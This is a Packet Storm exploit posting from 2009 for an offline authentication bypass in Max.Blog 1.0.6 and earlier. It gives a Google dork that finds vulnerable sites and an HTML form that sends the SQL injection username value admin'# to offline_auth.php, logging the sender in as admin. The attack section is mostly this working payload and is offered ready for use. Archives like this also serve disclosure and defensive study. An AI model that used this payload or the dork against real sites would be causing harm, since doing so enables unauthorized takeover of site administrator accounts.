Max.Blog versions 1.0.6 and below suffer from an offline authentication bypass vulnerability in offline_auth.php.
7fbacf2aeb40d0bfed5b5238ae5d62c675412063aee58b207e2ed16e2e5ebcef################### Salvatore "drosophila" Fresta
###################
Application: Max.Blog
http://www.mzbservices.com
Version: Max.Blog <= 1.0.6
Bug: * Offline Authentication Bypass
Exploitation: Remote
Dork: intext:"Powered by Max.Blog"
Date: 27 Jan 2009
Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
e-mail: drosophilaxxx@gmail.com
############################################################################
- BUGS
Offline Authentication Bypass Exploit:
Requisites: magic quotes = off
File affected: offline_auth.php
This bug allows a guest to bypass an offline authentication service
using SQL Injection vulnerability.
############################################################################
- CODE
<html>
<head>
<title>
Salvatore "drosophila" Fresta - Max.Blog <= 1.0.6 Offline
Authentication Bypass Exploit
</title>
</head>
<body>
<form
action="http://www.site.com/path/offline_auth.php" method="POST">
<input type="text" name="username"
value="admin'#" size="15">
<input type="hidden" name="password">
<input type="submit" value="Go!">
</form>
</body>
</html>
############################################################################
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed